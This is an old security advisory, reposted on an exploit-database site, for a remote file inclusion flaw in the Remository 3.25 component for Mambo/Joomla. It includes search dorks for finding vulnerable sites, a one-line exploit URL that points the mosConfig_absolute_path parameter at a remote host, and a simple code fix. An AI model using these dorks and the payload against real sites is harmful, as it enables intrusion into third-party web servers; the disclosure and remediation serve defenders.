[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mambo Remository Component <= 3.25 Remote Include Vulnerability

Author
camino
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-683
Category
web applications
Date add
09-08-2006
Platform
unsorted
===============================================================
Mambo Remository Component <= 3.25 Remote Include Vulnerability
===============================================================



    .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: o9.o8.2oo6 ..
 
 
  Affected Application: Remository v3.25 

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [x]  High [ ]
 
  Application: Remository
 
  Version: 3.25
 
  Vulnerable File: admin.remository.php
 
  URL: http://www.remository.com
 
  Description: It's a component that works with Mambo CMS 4.5+ to 

               provide a selection of files that users can download. 
 
  Dork: intext:"Remository 3.25. is technology by Black Sheep Research"

        inurl:"com_remository"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/administrator/components/

  com_remository/admin.remository.php?mosConfig_absolute_path=http://huh?
 
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open admin.remository.php
 
  o2.) take a look at line 16:

       require_once ($mosConfig_absolute_path.'/components/

       com_remository/com_remository_constants.php');
 
  o3.) take a look at line 19:

       defined( '_VALID_MOS' ) or die( 'Direct Access to this location 
 
       is not allowed.' );
 
  o4.) exchange line 19 with line 16!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  all the sexy members of insecurity research team ;-)



#  0day.today [2024-12-25]  #